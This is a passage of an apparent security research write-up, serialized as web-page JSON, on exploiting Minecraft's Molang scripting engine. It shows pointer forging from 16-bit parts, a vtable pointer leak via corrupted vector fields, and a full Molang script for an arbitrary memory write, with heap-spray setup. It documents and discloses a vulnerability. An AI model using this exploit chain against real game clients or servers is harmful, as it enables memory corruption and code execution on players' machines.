",{"type":23,"tag":71,"props":155899,"children":155901},{"className":155900},[],[155902],{"type":29,"value":155903},"0xddccbba0",{"type":29,"value":155905}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":192,"props":155907,"children":155909},{"id":155908},"the-final-approach",[155910],{"type":29,"value":155911},"The Final Approach",{"type":23,"tag":32,"props":155913,"children":155914},{},[155915,155917,155922,155924,155930],{"type":29,"value":155916},"We realized that instead of having the second pointer at ",{"type":23,"tag":71,"props":155918,"children":155920},{"className":155919},[],[155921],{"type":29,"value":155751},{"type":29,"value":155923},", we could instead have it at ",{"type":23,"tag":71,"props":155925,"children":155927},{"className":155926},[],[155928],{"type":29,"value":155929},"MolangVariableMap + 2",{"type":29,"value":155931},", which would resolve both of our issues.",{"type":23,"tag":32,"props":155933,"children":155934},{},[155935,155937,155942,155943,155948],{"type":29,"value":155936},"Let’s revisit the previous example, but this time ",{"type":23,"tag":71,"props":155938,"children":155940},{"className":155939},[],[155941],{"type":29,"value":155147},{"type":29,"value":155732},{"type":23,"tag":71,"props":155944,"children":155946},{"className":155945},[],[155947],{"type":29,"value":155929},{"type":29,"value":218},{"type":23,"tag":220,"props":155950,"children":155952},{"code":155951},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[155953],{"type":23,"tag":71,"props":155954,"children":155955},{"__ignoreMap":7},[155956],{"type":29,"value":155951},{"type":23,"tag":32,"props":155958,"children":155959},{},[155960,155962,155967],{"type":29,"value":155961},"With this setup, we can calculate any address relative to ",{"type":23,"tag":71,"props":155963,"children":155965},{"className":155964},[],[155966],{"type":29,"value":155203},{"type":29,"value":155968}," by first saving the upper 48 bits of the address:",{"type":23,"tag":220,"props":155970,"children":155972},{"code":155971},"variable.saved_upper_48 = variable.b;\n",[155973],{"type":23,"tag":71,"props":155974,"children":155975},{"__ignoreMap":7},[155976],{"type":29,"value":155971},{"type":23,"tag":32,"props":155978,"children":155979},{},[155980,155981,155987,155989,155995],{"type":29,"value":131609},{"type":23,"tag":71,"props":155982,"children":155984},{"className":155983},[],[155985],{"type":29,"value":155986},"variable.saved_upper_48",{"type":29,"value":155988}," holds the value ",{"type":23,"tag":71,"props":155990,"children":155992},{"className":155991},[],[155993],{"type":29,"value":155994},"0x1c80ddcc",{"type":29,"value":312},{"type":23,"tag":32,"props":155997,"children":155998},{},[155999],{"type":29,"value":156000},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":220,"props":156002,"children":156004},{"code":156003},"variable.b = 0;\n",[156005],{"type":23,"tag":71,"props":156006,"children":156007},{"__ignoreMap":7},[156008],{"type":29,"value":156003},{"type":23,"tag":32,"props":156010,"children":156011},{},[156012],{"type":29,"value":156013},"Resulting in the following state:",{"type":23,"tag":220,"props":156015,"children":156017},{"code":156016},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[156018],{"type":23,"tag":71,"props":156019,"children":156020},{"__ignoreMap":7},[156021],{"type":29,"value":156016},{"type":23,"tag":32,"props":156023,"children":156024},{},[156025,156027,156032,156034,156040,156042,156047],{"type":29,"value":156026},"Now, the value of ",{"type":23,"tag":71,"props":156028,"children":156030},{"className":156029},[],[156031],{"type":29,"value":155133},{"type":29,"value":156033}," only spans 16 bits (",{"type":23,"tag":71,"props":156035,"children":156037},{"className":156036},[],[156038],{"type":29,"value":156039},"0xbba0",{"type":29,"value":156041}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":71,"props":156043,"children":156045},{"className":156044},[],[156046],{"type":29,"value":155631},{"type":29,"value":312},{"type":23,"tag":32,"props":156049,"children":156050},{},[156051,156053,156058],{"type":29,"value":156052},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":71,"props":156054,"children":156056},{"className":156055},[],[156057],{"type":29,"value":155133},{"type":29,"value":218},{"type":23,"tag":220,"props":156060,"children":156061},{"code":155815},[156062],{"type":23,"tag":71,"props":156063,"children":156064},{"__ignoreMap":7},[156065],{"type":29,"value":155815},{"type":23,"tag":32,"props":156067,"children":156068},{},[156069],{"type":29,"value":156070},"Which results in:",{"type":23,"tag":220,"props":156072,"children":156074},{"code":156073},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[156075],{"type":23,"tag":71,"props":156076,"children":156077},{"__ignoreMap":7},[156078],{"type":29,"value":156073},{"type":23,"tag":32,"props":156080,"children":156081},{},[156082],{"type":29,"value":156083},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":220,"props":156085,"children":156087},{"code":156086},"variable.b = variable.saved_upper_48;\n",[156088],{"type":23,"tag":71,"props":156089,"children":156090},{"__ignoreMap":7},[156091],{"type":29,"value":156086},{"type":23,"tag":32,"props":156093,"children":156094},{},[156095],{"type":29,"value":156096},"Yielding a valid pointer again:",{"type":23,"tag":220,"props":156098,"children":156100},{"code":156099},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[156101],{"type":23,"tag":71,"props":156102,"children":156103},{"__ignoreMap":7},[156104],{"type":29,"value":156099},{"type":23,"tag":32,"props":156106,"children":156107},{},[156108],{"type":29,"value":156109},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":220,"props":156111,"children":156113},{"code":156112},"variable.saved_adjusted_lower_16 = variable.a;\n",[156114],{"type":23,"tag":71,"props":156115,"children":156116},{"__ignoreMap":7},[156117],{"type":29,"value":156112},{"type":23,"tag":32,"props":156119,"children":156120},{},[156121],{"type":29,"value":156122},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":220,"props":156124,"children":156126},{"code":156125},"variable.a = variable.saved_upper_48;\n",[156127],{"type":23,"tag":71,"props":156128,"children":156129},{"__ignoreMap":7},[156130],{"type":29,"value":156125},{"type":23,"tag":32,"props":156132,"children":156133},{},[156134],{"type":29,"value":156135},"This produces the following state:",{"type":23,"tag":220,"props":156137,"children":156139},{"code":156138},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156140],{"type":23,"tag":71,"props":156141,"children":156142},{"__ignoreMap":7},[156143],{"type":29,"value":156138},{"type":23,"tag":32,"props":156145,"children":156146},{},[156147,156149,156154,156156,156162,156164,156170,156172,156177,156179,156184],{"type":29,"value":156148},"As shown, ",{"type":23,"tag":71,"props":156150,"children":156152},{"className":156151},[],[156153],{"type":29,"value":155147},{"type":29,"value":156155}," now contains the upper 16 bits of the address (",{"type":23,"tag":71,"props":156157,"children":156159},{"className":156158},[],[156160],{"type":29,"value":156161},"0x1c80",{"type":29,"value":156163},"), which we can store as ",{"type":23,"tag":71,"props":156165,"children":156167},{"className":156166},[],[156168],{"type":29,"value":156169},"variable.saved_upper_16 = variable.b",{"type":29,"value":156171},". Meanwhile, ",{"type":23,"tag":71,"props":156173,"children":156175},{"className":156174},[],[156176],{"type":29,"value":155133},{"type":29,"value":156178}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":71,"props":156180,"children":156182},{"className":156181},[],[156183],{"type":29,"value":155147},{"type":29,"value":218},{"type":23,"tag":220,"props":156186,"children":156187},{"code":156003},[156188],{"type":23,"tag":71,"props":156189,"children":156190},{"__ignoreMap":7},[156191],{"type":29,"value":156003},{"type":23,"tag":32,"props":156193,"children":156194},{},[156195],{"type":29,"value":156196},"Leaving us with:",{"type":23,"tag":220,"props":156198,"children":156200},{"code":156199},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156201],{"type":23,"tag":71,"props":156202,"children":156203},{"__ignoreMap":7},[156204],{"type":29,"value":156199},{"type":23,"tag":32,"props":156206,"children":156207},{},[156208],{"type":29,"value":156209},"We can now save the middle 16 bits:",{"type":23,"tag":220,"props":156211,"children":156213},{"code":156212},"variable.saved_middle_16 = variable.a;\n",[156214],{"type":23,"tag":71,"props":156215,"children":156216},{"__ignoreMap":7},[156217],{"type":29,"value":156212},{"type":23,"tag":32,"props":156219,"children":156220},{},[156221],{"type":29,"value":156222},"At this point, we have:",{"type":23,"tag":220,"props":156224,"children":156226},{"code":156225},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[156227],{"type":23,"tag":71,"props":156228,"children":156229},{"__ignoreMap":7},[156230],{"type":29,"value":156225},{"type":23,"tag":32,"props":156232,"children":156233},{},[156234],{"type":29,"value":156235},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":32,"props":156237,"children":156238},{},[156239],{"type":29,"value":156240},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":220,"props":156242,"children":156244},{"code":156243},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[156245],{"type":23,"tag":71,"props":156246,"children":156247},{"__ignoreMap":7},[156248],{"type":29,"value":156243},{"type":23,"tag":32,"props":156250,"children":156251},{},[156252],{"type":29,"value":156253},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":220,"props":156255,"children":156257},{"code":156256},"variable.a = variable.saved_adjusted_middle_16;\n",[156258],{"type":23,"tag":71,"props":156259,"children":156260},{"__ignoreMap":7},[156261],{"type":29,"value":156256},{"type":23,"tag":32,"props":156263,"children":156264},{},[156265,156267,156272,156273,156279,156280,156286],{"type":29,"value":156266},"Setting ",{"type":23,"tag":71,"props":156268,"children":156270},{"className":156269},[],[156271],{"type":29,"value":155133},{"type":29,"value":58550},{"type":23,"tag":71,"props":156274,"children":156276},{"className":156275},[],[156277],{"type":29,"value":156278},"0xddcd",{"type":29,"value":664},{"type":23,"tag":71,"props":156281,"children":156283},{"className":156282},[],[156284],{"type":29,"value":156285},"0xddcc + 1",{"type":29,"value":156287},"), and then:",{"type":23,"tag":220,"props":156289,"children":156291},{"code":156290},"variable.b = variable.saved_adjusted_upper_16;\n",[156292],{"type":23,"tag":71,"props":156293,"children":156294},{"__ignoreMap":7},[156295],{"type":29,"value":156290},{"type":23,"tag":32,"props":156297,"children":156298},{},[156299,156301,156306,156308,156314,156315,156321],{"type":29,"value":156300},"Resulting in ",{"type":23,"tag":71,"props":156302,"children":156304},{"className":156303},[],[156305],{"type":29,"value":155147},{"type":29,"value":156307}," value becoming ",{"type":23,"tag":71,"props":156309,"children":156311},{"className":156310},[],[156312],{"type":29,"value":156313},"0x1c81",{"type":29,"value":664},{"type":23,"tag":71,"props":156316,"children":156318},{"className":156317},[],[156319],{"type":29,"value":156320},"0x1c80 + 1",{"type":29,"value":26252},{"type":23,"tag":220,"props":156323,"children":156325},{"code":156324},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156326],{"type":23,"tag":71,"props":156327,"children":156328},{"__ignoreMap":7},[156329],{"type":29,"value":156324},{"type":23,"tag":32,"props":156331,"children":156332},{},[156333],{"type":29,"value":156334},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":220,"props":156336,"children":156338},{"code":156337},"variable.saved_adjusted_upper_48 = variable.a;\n",[156339],{"type":23,"tag":71,"props":156340,"children":156341},{"__ignoreMap":7},[156342],{"type":29,"value":156337},{"type":23,"tag":32,"props":156344,"children":156345},{},[156346],{"type":29,"value":156347},"Finally, we attach the lower 16 bits:",{"type":23,"tag":220,"props":156349,"children":156351},{"code":156350},"variable.a = variable.saved_adjusted_lower_16;\n",[156352],{"type":23,"tag":71,"props":156353,"children":156354},{"__ignoreMap":7},[156355],{"type":29,"value":156350},{"type":23,"tag":220,"props":156357,"children":156359},{"code":156358},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156360],{"type":23,"tag":71,"props":156361,"children":156362},{"__ignoreMap":7},[156363],{"type":29,"value":156358},{"type":23,"tag":32,"props":156365,"children":156366},{},[156367],{"type":29,"value":156368},"And by setting:",{"type":23,"tag":220,"props":156370,"children":156372},{"code":156371},"variable.b = variable.saved_adjusted_upper_48;\n",[156373],{"type":23,"tag":71,"props":156374,"children":156375},{"__ignoreMap":7},[156376],{"type":29,"value":156371},{"type":23,"tag":32,"props":156378,"children":156379},{},[156380],{"type":29,"value":156381},"We forge the final adjusted pointer:",{"type":23,"tag":220,"props":156383,"children":156385},{"code":156384},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156386],{"type":23,"tag":71,"props":156387,"children":156388},{"__ignoreMap":7},[156389],{"type":29,"value":156384},{"type":23,"tag":21113,"props":156391,"children":156392},{},[],{"type":23,"tag":32,"props":156394,"children":156395},{},[156396,156398,156403],{"type":29,"value":156397},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":71,"props":156399,"children":156401},{"className":156400},[],[156402],{"type":29,"value":155929},{"type":29,"value":155885},{"type":23,"tag":32,"props":156405,"children":156406},{},[156407,156409,156414,156416,156421,156423,156429,156431,156436],{"type":29,"value":156408},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":71,"props":156410,"children":156412},{"className":156411},[],[156413],{"type":29,"value":155929},{"type":29,"value":156415},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":71,"props":156417,"children":156419},{"className":156418},[],[156420],{"type":29,"value":32994},{"type":29,"value":156422}," and the other to ",{"type":23,"tag":71,"props":156424,"children":156426},{"className":156425},[],[156427],{"type":29,"value":156428},"addr + 2",{"type":29,"value":156430}," (as long as ",{"type":23,"tag":71,"props":156432,"children":156434},{"className":156433},[],[156435],{"type":29,"value":32994},{"type":29,"value":156437}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":32,"props":156439,"children":156440},{},[156441,156443,156448,156449,156454],{"type":29,"value":156442},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":71,"props":156444,"children":156446},{"className":156445},[],[156447],{"type":29,"value":151903},{"type":29,"value":155688},{"type":23,"tag":71,"props":156450,"children":156452},{"className":156451},[],[156453],{"type":29,"value":154707},{"type":29,"value":156455}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":220,"props":156457,"children":156459},{"code":156458},"variable.corrupted_var_map_ptr = variable.a;\n",[156460],{"type":23,"tag":71,"props":156461,"children":156462},{"__ignoreMap":7},[156463],{"type":29,"value":156458},{"type":23,"tag":32,"props":156465,"children":156466},{},[156467,156469,156474,156476,156482],{"type":29,"value":156468},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":71,"props":156470,"children":156472},{"className":156471},[],[156473],{"type":29,"value":3856},{"type":29,"value":156475}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":71,"props":156477,"children":156479},{"className":156478},[],[156480],{"type":29,"value":156481},"variable.corrupted_var_map_ptr",{"type":29,"value":156483},", even though the type itself is only a 32-bit float.",{"type":23,"tag":192,"props":156485,"children":156487},{"id":156486},"finding-misaligned-pointers",[156488],{"type":29,"value":156489},"Finding Misaligned Pointers",{"type":23,"tag":32,"props":156491,"children":156492},{},[156493,156495,156500,156501,156507],{"type":29,"value":156494},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":71,"props":156496,"children":156498},{"className":156497},[],[156499],{"type":29,"value":16276},{"type":29,"value":112},{"type":23,"tag":71,"props":156502,"children":156504},{"className":156503},[],[156505],{"type":29,"value":156506},"ptr + 2",{"type":29,"value":156508},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":32,"props":156510,"children":156511},{},[156512,156517,156518,156523,156525,156530,156532,156537,156539,156544,156546,156551,156553,156559,156560,156565],{"type":23,"tag":71,"props":156513,"children":156515},{"className":156514},[],[156516],{"type":29,"value":154883},{"type":29,"value":17768},{"type":23,"tag":71,"props":156519,"children":156521},{"className":156520},[],[156522],{"type":29,"value":154906},{"type":29,"value":156524}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":71,"props":156526,"children":156528},{"className":156527},[],[156529],{"type":29,"value":154737},{"type":29,"value":156531}," contains three pointers: ",{"type":23,"tag":71,"props":156533,"children":156535},{"className":156534},[],[156536],{"type":29,"value":151903},{"type":29,"value":156538}," (the start of the allocated buffer), ",{"type":23,"tag":71,"props":156540,"children":156542},{"className":156541},[],[156543],{"type":29,"value":11471},{"type":29,"value":156545}," (just past the last element) and ",{"type":23,"tag":71,"props":156547,"children":156549},{"className":156548},[],[156550],{"type":29,"value":154836},{"type":29,"value":156552}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":71,"props":156554,"children":156556},{"className":156555},[],[156557],{"type":29,"value":156558},"uint16_t",{"type":29,"value":104076},{"type":23,"tag":71,"props":156561,"children":156563},{"className":156562},[],[156564],{"type":29,"value":11471},{"type":29,"value":156566}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":32,"props":156568,"children":156569},{},[156570,156572,156577,156579,156585],{"type":29,"value":156571},"We can make the ",{"type":23,"tag":71,"props":156573,"children":156575},{"className":156574},[],[156576],{"type":29,"value":11471},{"type":29,"value":156578}," pointer equal to ",{"type":23,"tag":71,"props":156580,"children":156582},{"className":156581},[],[156583],{"type":29,"value":156584},"cap - 2",{"type":29,"value":156586}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":220,"props":156588,"children":156590},{"code":156589},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[156591],{"type":23,"tag":71,"props":156592,"children":156593},{"__ignoreMap":7},[156594],{"type":29,"value":156589},{"type":23,"tag":21113,"props":156596,"children":156597},{},[],{"type":23,"tag":32,"props":156599,"children":156600},{},[156601,156603,156608,156610,156615,156617,156622,156624,156629,156630,156635],{"type":29,"value":156602},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":71,"props":156604,"children":156606},{"className":156605},[],[156607],{"type":29,"value":151903},{"type":29,"value":156609}," pointer of ",{"type":23,"tag":71,"props":156611,"children":156613},{"className":156612},[],[156614],{"type":29,"value":154707},{"type":29,"value":156616}," in the entity object above, one that would index ",{"type":23,"tag":71,"props":156618,"children":156620},{"className":156619},[],[156621],{"type":29,"value":11471},{"type":29,"value":156623}," and the final ",{"type":23,"tag":71,"props":156625,"children":156627},{"className":156626},[],[156628],{"type":29,"value":154836},{"type":29,"value":156609},{"type":23,"tag":71,"props":156631,"children":156633},{"className":156632},[],[156634],{"type":29,"value":154883},{"type":29,"value":156636}," also in the same entity object above.",{"type":23,"tag":32,"props":156638,"children":156639},{},[156640,156642,156648,156649,156655,156657,156662,156663,156668,156670,156675,156677,156682,156683,156688,156690,156695],{"type":29,"value":156641},"The corrupted variables ",{"type":23,"tag":71,"props":156643,"children":156645},{"className":156644},[],[156646],{"type":29,"value":156647},"variable.corrupted_len_ptr",{"type":29,"value":112},{"type":23,"tag":71,"props":156650,"children":156652},{"className":156651},[],[156653],{"type":29,"value":156654},"variable.corrupted_cap_ptr",{"type":29,"value":156656}," point to ",{"type":23,"tag":71,"props":156658,"children":156660},{"className":156659},[],[156661],{"type":29,"value":11471},{"type":29,"value":112},{"type":23,"tag":71,"props":156664,"children":156666},{"className":156665},[],[156667],{"type":29,"value":154836},{"type":29,"value":156669},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":71,"props":156671,"children":156673},{"className":156672},[],[156674],{"type":29,"value":156481},{"type":29,"value":156676},", points to the ",{"type":23,"tag":71,"props":156678,"children":156680},{"className":156679},[],[156681],{"type":29,"value":151903},{"type":29,"value":155688},{"type":23,"tag":71,"props":156684,"children":156686},{"className":156685},[],[156687],{"type":29,"value":154707},{"type":29,"value":156689},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":71,"props":156691,"children":156693},{"className":156692},[],[156694],{"type":29,"value":154707},{"type":29,"value":156696},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":32,"props":156698,"children":156699},{},[156700],{"type":29,"value":156701},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":192,"props":156703,"children":156705},{"id":156704},"leaking-pointers",[156706],{"type":29,"value":156707},"Leaking Pointers",{"type":23,"tag":32,"props":156709,"children":156710},{},[156711,156713,156719],{"type":29,"value":156712},"In C++, an object’s first field is typically a ",{"type":23,"tag":71,"props":156714,"children":156716},{"className":156715},[],[156717],{"type":29,"value":156718},"vtable",{"type":29,"value":156720}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":220,"props":156722,"children":156724},{"code":156723},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[156725],{"type":23,"tag":71,"props":156726,"children":156727},{"__ignoreMap":7},[156728],{"type":29,"value":156723},{"type":23,"tag":32,"props":156730,"children":156731},{},[156732,156733,156738,156740,156745,156747,156752,156754,156759,156761,156766,156767,156772,156774,156779],{"type":29,"value":980},{"type":23,"tag":71,"props":156734,"children":156736},{"className":156735},[],[156737],{"type":29,"value":3856},{"type":29,"value":156739}," field inside a ",{"type":23,"tag":71,"props":156741,"children":156743},{"className":156742},[],[156744],{"type":29,"value":154380},{"type":29,"value":156746}," is at offset ",{"type":23,"tag":71,"props":156748,"children":156750},{"className":156749},[],[156751],{"type":29,"value":154641},{"type":29,"value":156753},". We already control a corrupted variable, ",{"type":23,"tag":71,"props":156755,"children":156757},{"className":156756},[],[156758],{"type":29,"value":156647},{"type":29,"value":156760},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":71,"props":156762,"children":156764},{"className":156763},[],[156765],{"type":29,"value":11471},{"type":29,"value":155688},{"type":23,"tag":71,"props":156768,"children":156770},{"className":156769},[],[156771],{"type":29,"value":154883},{"type":29,"value":156773}," by 2 bytes, which in turn advances ",{"type":23,"tag":71,"props":156775,"children":156777},{"className":156776},[],[156778],{"type":29,"value":156647},{"type":29,"value":156780}," by 2 bytes.",{"type":23,"tag":32,"props":156782,"children":156783},{},[156784,156786,156791,156793,156799,156800,156805,156806,156811,156813,156818],{"type":29,"value":156785},"By moving ",{"type":23,"tag":71,"props":156787,"children":156789},{"className":156788},[],[156790],{"type":29,"value":11471},{"type":29,"value":156792}," so it equals ",{"type":23,"tag":71,"props":156794,"children":156796},{"className":156795},[],[156797],{"type":29,"value":156798},"cap - 0x38",{"type":29,"value":104076},{"type":23,"tag":71,"props":156801,"children":156803},{"className":156802},[],[156804],{"type":29,"value":3856},{"type":29,"value":155688},{"type":23,"tag":71,"props":156807,"children":156809},{"className":156808},[],[156810],{"type":29,"value":156647},{"type":29,"value":156812}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":71,"props":156814,"children":156816},{"className":156815},[],[156817],{"type":29,"value":156718},{"type":29,"value":156819}," pointer. We can then capture that pointer with:",{"type":23,"tag":220,"props":156821,"children":156823},{"code":156822},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[156824],{"type":23,"tag":71,"props":156825,"children":156826},{"__ignoreMap":7},[156827],{"type":29,"value":156822},{"type":23,"tag":32,"props":156829,"children":156830},{},[156831,156833,156838,156840,156845,156847,156852,156854,156860],{"type":29,"value":156832},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":71,"props":156834,"children":156836},{"className":156835},[],[156837],{"type":29,"value":11471},{"type":29,"value":156839}," until it equals ",{"type":23,"tag":71,"props":156841,"children":156843},{"className":156842},[],[156844],{"type":29,"value":156584},{"type":29,"value":156846},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":71,"props":156848,"children":156850},{"className":156849},[],[156851],{"type":29,"value":156718},{"type":29,"value":156853}," address in ",{"type":23,"tag":71,"props":156855,"children":156857},{"className":156856},[],[156858],{"type":29,"value":156859},"variable.saved_vtable_pointer",{"type":29,"value":312},{"type":23,"tag":21113,"props":156862,"children":156863},{},[],{"type":23,"tag":32,"props":156865,"children":156866},{},[156867,156869,156874,156876,156882],{"type":29,"value":156868},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":71,"props":156870,"children":156872},{"className":156871},[],[156873],{"type":29,"value":45270},{"type":29,"value":156875}," to the address ",{"type":23,"tag":71,"props":156877,"children":156879},{"className":156878},[],[156880],{"type":29,"value":156881},"vtable + 0x1000",{"type":29,"value":156883}," looks like this:",{"type":23,"tag":220,"props":156885,"children":156887},{"code":156886},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[156888],{"type":23,"tag":71,"props":156889,"children":156890},{"__ignoreMap":7},[156891],{"type":29,"value":156886},{"type":23,"tag":192,"props":156893,"children":156895},{"id":156894},"required-heap-layout",[156896],{"type":29,"value":156897},"Required Heap Layout",{"type":23,"tag":32,"props":156899,"children":156900},{},[156901],{"type":29,"value":156902},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are 